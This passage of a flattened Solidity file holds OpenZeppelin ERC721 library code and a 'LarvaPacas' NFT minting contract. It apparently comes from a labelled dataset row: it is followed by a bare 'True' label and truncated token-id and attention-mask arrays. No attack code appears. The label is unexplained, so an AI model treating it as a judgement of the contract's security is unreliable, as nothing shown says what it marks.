* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/LarvaPacas.sol
//SPDX-License-Identifier: MIT
//Larva Pacas is a paca-level play on the CryptoPunks and Larva Lads. Take them home as they are so cute.
//0.01 ETH per mint, only 1888 Larva Pacas total! Much rare very Pacas!
//Mint only from contract!
pragma solidity ^0.8.0;
contract LarvaPacas is ERC721Enumerable, Ownable, RandomlyAssigned {
using Strings for uint256;
using SafeMath for uint256;
string public baseExtension = ".json";
uint256 public cost = 0.01 ether;
uint256 public maxPACAS = 1888;
uint256 public maxMintAmount = 20;
bool public paused = false;
string public baseURI = "https://ipfs.io/ipfs/QmPaphze9QiirRjDQfqQ3YkiMmtT9UQufG9oNgxCr4orhT/";
constructor(
) ERC721("Larva Pacas", "PACAS")
RandomlyAssigned(1888, 1) {}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(totalSupply() + _mintAmount <= maxPACAS);
require(msg.value >= cost * _mintAmount);
for (uint256 i = 1; i <= _mintAmount; i++) {
uint256 mintIndex = nextToken();
if (totalSupply() < maxPACAS) {
_safeMint(_msgSender(), mintIndex);
}
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function withdraw() public payable onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5890,
1011,
2321,
1008,
1013,
1013,
1013,
2474,
19146,
14397,
3022,
2003,
1037,
14397,
2050,
1011,
2504,
2377,
2006,
1996,
19888,
7361,
16814,
2015,
1998,
2474,
19146,
29126,
1012,
2202,
2068,
2188,
2004,
2027,
2024,
2061,
10140,
1012,
1013,
1013,
1014,
1012,
5890,
3802,
2232,
2566,
12927,
1010,
2069,
6690,
2474,
19146,
14397,
3022,
2561,
999,
2172,
4678,
2200,
14397,
3022,
1010,
4098,
2322,
14397,
3022,
2566,
19067,
1012,
1013,
1013,
12927,
2069,
2013,
3206,
1010,
3422,
27836,
1998,
4553,
2129,
2000,
2079,
2061,
1024,
16770,
1024,
1013,
1013,
7479,
1012,
7858,
1012,
4012,
1013,
3422,
1029,
1058,
1027,
1043,
2480,
3540,
2575,
6806,
21906,
2050,
2692,
1013,
1013,
3582,
2149,
2012,
16770,
1024,
1013,
1013,
10474,
1012,
4012,
1013,
2474,
19146,
19498,
3022,
1013,
1013,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
10695,
2078,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
1013,
1013,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
8029,
4757,
22117,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
1013,
1013,
25391,
7382,
7382,
2213,
23644,
14945,
7382,
7382,
26876,
4757,
2100,
23644,
7382,
7382,
23644,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
1013,
1013,
25391,
7382,
7382,
2213,
25311,
7274,
2100,
2100,
2100,
10536,
7274,
4757,
4757,
7295,
2100,
7274,
2213,
2078,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
1013,
1013,
25391,
7382,
7382,
7382,
5149,
4757,
6508,
5149,
4757,
4757,
4757,
6508,
4757,
6508,
14227,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
1013,
1013,
25391,
7382,
7382,
7382,
2213,
10536,
4757,
4757,
4757,
4757,
4757,
4757,
4757,
4757,
7274,
2100,
7295,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
1013,
1013,
25391,
7382,
7382,
7382,
10695,
5244,
4757,
4757,
4757,
4757,
4757,
4757,
4757,
2015,
25311,
6508,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
1013,
1013,
25391,
7382,
7382,
2213,
4890,
14141,
4757,
24137,
1009,
1009,
7020,
2015,
1009,
9808,
4757,
24335,
26876,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
1013,
1013,
25391,
7382,
7382,
26876,
2100,
2100,
2100,
7677,
1009,
1013,
1013,
1013,
1013,
1013,
1009,
1051,
1013,
1013,
1013,
7020,
16150,
2078,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
1013,
1013,
25391,
7382,
7382,
10695,
10695,
10695,
2015,
1009,
1011,
1061,
2100,
1013,
1011,
1009,
1040,
1013,
1024,
1011,
1061,
2100,
6038,
2078,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
1013,
1013,
25391,
7382,
7382,
7382,
7382,
7382,
2213,
2232,
1011,
1011,
1024,
1009,
1011,
1011,
1011,
1011,
1011,
1011,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
1013,
1013,
25391,
7382,
7382,
7382,
7382,
18879,
1009,
1011,
1011,
1013,
1055,
1011,
1011,
1011,
1011,
1011,
1011,
17371,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
1013,
1013,
25391,
7382,
7382,
7382,
7382,
7382,
2080,
1024,
1011,
10751,
14141,
2080,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
